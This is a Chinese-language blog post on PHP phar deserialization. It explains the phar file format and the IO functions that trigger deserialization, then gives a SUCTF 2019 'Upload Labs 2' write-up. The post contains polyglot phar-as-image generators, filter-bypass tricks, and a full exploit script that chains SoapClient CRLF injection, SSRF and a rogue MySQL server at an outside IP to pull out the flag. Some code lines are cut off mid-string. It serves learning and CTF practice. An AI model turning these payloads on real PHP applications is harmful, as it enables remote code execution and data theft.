phar相关安全知识总结

fz41 / 2019-09-11 09:02:36 / 安全技术 WEB安全

前言

我是头回学习到phar
RCE的相关知识，通过这次的SUCTF，通过复现大佬们所说的知识，发现了很多有意思的东西，过来记录一下，同时也总结了一些phar序列化的一些技巧，算是一次整理，

背景知识

phar文件结构

在php>=5.3的时候，默认开启支持Phar，文件状态问为只读，而且使用phar文件不需要任何配置。php使用phar://伪协议来解析phar文件的内容。

其文件结构包括4个部分：

stub

phar 扩展识别的标志 格式为 `xxx<?php xxx; __HALT_COMPILER();?>`

manifest

phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这里即为反序列化

contents

压缩文件的内容

signature

文件的签名内容

phar使用方式

如下是一个使用phar的一个例子：

```
<?php
   class User{
       var $name;
       function __destruct(){
           echo "fangzhang";
       }
   }

   @unlink("test.phar");
   $phar = new Phar("test.phar");
   $phar->startBuffering();
   $phar->setStub("<?php __HALT_COMPILER(); ?>");
   $o = new User();
   $o->name = "test";
   $phar->setMetadata($o);
   $phar->addFromString("test.txt", "test");
   $phar->stopBuffering();
?>
```

得到的test.phar 内容如下：

```
00000000: 3c3f 7068 7020 5f5f 4841 4c54 5f43 4f4d  <?php __HALT_COM
00000010: 5049 4c45 5228 293b 203f 3e0d 0a5b 0000  PILER(); ?>..[..
00000020: 0001 0000 0011 0000 0001 0000 0000 0025  ...............%
00000030: 0000 004f 3a34 3a22 5573 6572 223a 313a  ...O:4:"User":1:
00000040: 7b73 3a34 3a22 6e61 6d65 223b 733a 343a  {s:4:"name";s:4:
00000050: 2274 6573 7422 3b7d 0800 0000 7465 7374  "test";}....test
00000060: 2e74 7874 0400 0000 46fc 6e5d 0400 0000  .txt....F.n]....
00000070: 0c7e 7fd8 b601 0000 0000 0000 7465 7374  .~..........test
00000080: 9d18 4c48 ba24 6ed6 a810 3690 2aac 034e  ..LH.$n...6.*..N
00000090: 6aee e818 0200 0000 4742 4d42            j.......GBMB
```

可以看到，有一部分是序列化之后的内容，就是我们在上一部分所说的manifest也就是meta-data

phar序列化原理

使用phra://伪协议读取文件的时候，文件会被解析成phar对象，这个时候，刚才那部分的序列化的信息就会被反序列化，这就是漏洞的原理。

简单的测试一下：还是利用刚才的代码生成的test.phar文件

```
<?php
   class User{
       var $name;
       function __destruct(){
           echo "test";
       }
   }

$file = "phar://test.phar";
@file_get_contents($file);
?>
```

运行结果显示调用了User类的析构函数。

漏洞利用

函数扩展

根据以上代码的测试可知，只要phar://协议解析文件的时候，就会造成序列化的问题，类似这样的函数不光有file_get_contents还有其他函数；

有大牛曾经总结过，所有文件操作的函数都可以触发这种序列化：

- fileatime / filectime / filemtime
- stat / fileinode / fileowner / filegroup / fileperms
- file / file_get_contents / readfile / `fopen``
- file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
- parse_ini_file
- unlink
- copy

还有大牛深入的分析过这些函数的原理，并且加以扩展：

- exif_thumbnail

  exif_imagetype

  imageloadfont

  imagecreatefrom***

  hash_hmac_file

- hash_file
- hash_update_file
- md5_file

  sha1_file

  get_meta_tags

  get_headers

  getimagesize

- getimagesizefromstring

几乎所有和IO有关的函数都涉及到了

利用条件分析

对环境的要求无非就是可以让程序的后端使用上述列出来的函数或者其他函数加载我们上产的phar文件，所以对环境也无非有以下要求：

可以上传我们构造的phar文件

这要求服务器端可以上传，或者自动生成，既然phar的文件标识是

```
xxx<?php xxx; __HALT_COMPILER();?>
```

我们可以构造xxx 实质成为我们想成为的任何文件，最常见的利用方式就是将其变为gif文件 ，就是把文件上加上"GIF89a"即可，

可是，如果要是要求上传一个真的图片呢：

可以通过这个思路构造一个图片以下是脚本：

```
<?php
class TestObject {}

$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x1
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x0
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x0
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x1
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
```

上如，可以生成一张正常的图片来绕过getimagesize的检测

魔术方法可以调用

这个没什么好说的，跟普通的序列化利用方法差不多，需要找到自己可以执行的代码。

有IO操作

简单来讲就是可以使用phar://协议读取文件

如果不能phar不能出现在开始，网上有绕过的姿势：

```
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
```

例题分析

例题就是前一段时间的SUCTF的Upload labs 2

环境搭建

源码在这里：

```
https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload%20Labs%202
```

直接

```
docker-compose build
docker-compose up
```

然后直接访问

这总搭建环境的事，建议直接在vps上搞，不图别的，就因为网速贼快。。。。

题目分析

题目直接是代码审计

给出了源码

题目可以上传文件,然后查看文件得内容

其中根据源码可以看到：

```
if (isset($_POST["upload"])) {
   // ■■■■■■■■■
   $allowedExts = array("gif", "jpeg", "jpg", "png");
   $tmp_name = $_FILES["file"]["tmp_name"];
   $file_name = $_FILES["file"]["name"];
   $temp = explode(".", $file_name);
   $extension = end($temp);
   if ((($_FILES["file"]["type"] == "image/gif")
           || ($_FILES["file"]["type"] == "image/jpeg")
           || ($_FILES["file"]["type"] == "image/png"))
       && ($_FILES["file"]["size"] < 204800)   // ■■ 200 kb
       && in_array($extension, $allowedExts)
   ) {
       $c = new Check($tmp_name);
       $c->check();
```

可以通过上传gif文件

有一个 $c->check(); 如下

```
function check(){
       $data = file_get_contents($this->file_name);
       if (mb_strpos($data, "<?") !== FALSE) {
           die("&lt;? in contents!");
       }
   }
}
```

可以通过

```
<script language="php"><script>
```

来绕过

然后在提交得页面

```
if (isset($_POST["submit"]) && isset($_POST["url"])) {
   if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.
       die("Go away!");
   }else{
       $file_path = $_POST['url'];
       $file = new File($file_path);
       $file->getMIME();
       echo "<p>Your file type is '$file' </p>";
   }
}
```

可以通过php:filter协议绕过

有一个$file->getMIME();是重点

```
<?php
include 'config.php';

class File{

   public $file_name;
   public $type;
   public $func = "Check";

   function __construct($file_name){
       $this->file_name = $file_name;
   }
```

```
    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }

    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }

    function __toString(){
        return $this->type;
    }

}
```

这是整个类得代码

我们想要通过phar协议序列化得内容也就是从这里来的

还有admin.php 需要ssrf才能得到flag。

ssrf里面还有一些坑没有走出来，主要是对于php的回调函数不是很理解，所以先分析到这里把writeup粘贴在这儿，我太菜了orz。。。。。。

其中有一段代码:

```
$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
```

解题步骤

```
<?php
class File{

    public $file_name;
    public $type;
    public $func = "SoapClient";

    function __construct($file_name){
        $this->file_name = $file_name;
    }
}


class Ad{

    public $clazz;
    public $func1;
    public $func2;
    public $instance;
    public $arg1;
    public $arg2;
        // $reflectionMethod = new ReflectionMethod('Mysqli', 'real_connect');
        // echo $reflectionMethod->invoke($sql, '106.14.153.173','root','123456','test','3306');

        // $reflectionMethod = new ReflectionMethod('Mysqli', 'query');
        // echo $reflectionMethod->invoke($sql, 'select 1');
}
```

```
$target = 'http://127.0.0.1/admin.php';
// $target = "http://106.14.153.173:2015";
$post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=106.14.153.173&arg2[1]=root&arg2[2]=123&arg2[
$headers = array(
   'X-Forwarded-For: 127.0.0.1',
   );
// $b = new SoapClient(null,array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded

$arr = array(null, array("location" => $target,"user_agent"=>"zedd\r\nContent-Type: application/x-www-form-urlencoded\r\n".joi

$phar = new Phar("1.phar"); //■■■■■■phar
$phar->startBuffering();
// <?php __HALT_COMPILER();
$phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>"); //■■stub
$o = new File($arr);
$phar->setMetadata($o); //■■■■■meta-data■■manifest
$phar->addFromString("test.txt", "test");
   //■■■■■■
$phar->stopBuffering();
rename("1.phar", "1.gif");
?>
```

通过 phar.php 生成 1.gif，通过上传页面上传得到路径。
记录路径为

```
upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif
```

在 rogue mysql 服务器上读取文件的位置使用 phar 协议读取

```
phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a924c.gif
```

去 func.php 提交

```
php://filter/read=convert.base64-encode/resource=phar://./upload/122c4a55d1a70cef972cac3982dd49a6/b5e9b4f86ce43ca65bd79c894c4a
```

就可以在自己服务器监听的端口收到 flag 了。

主要是 phar soap client crlf 那里

```
$post_string = 'admin=1&clazz=Mysqli&func1=init&arg1=&func2=real_connect&arg2[0]=106.14.153.173&arg2[1]=root&arg2[2]=123&arg2[
```

ip & port 两个参数是用来获取 flag 的

后记

关于phar的知识已经有很多了，也很值得大家去深挖，很佩服大佬们探究本源的精神，也希望自己能不断的向大佬们学习这些知识。感觉自己还是有很多东西不会，不熟，不

参考链接

https://paper.seebug.org/680/

https://blog.zsxsoft.com/post/38

https://xz.aliyun.com/t/6057#toc-6

上一篇：深入探讨Handlebars 4.... 下一篇：windows样本分析之基础静态分析-四

1. 0 条回复

- 动动手指，沙发就是你的了！

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板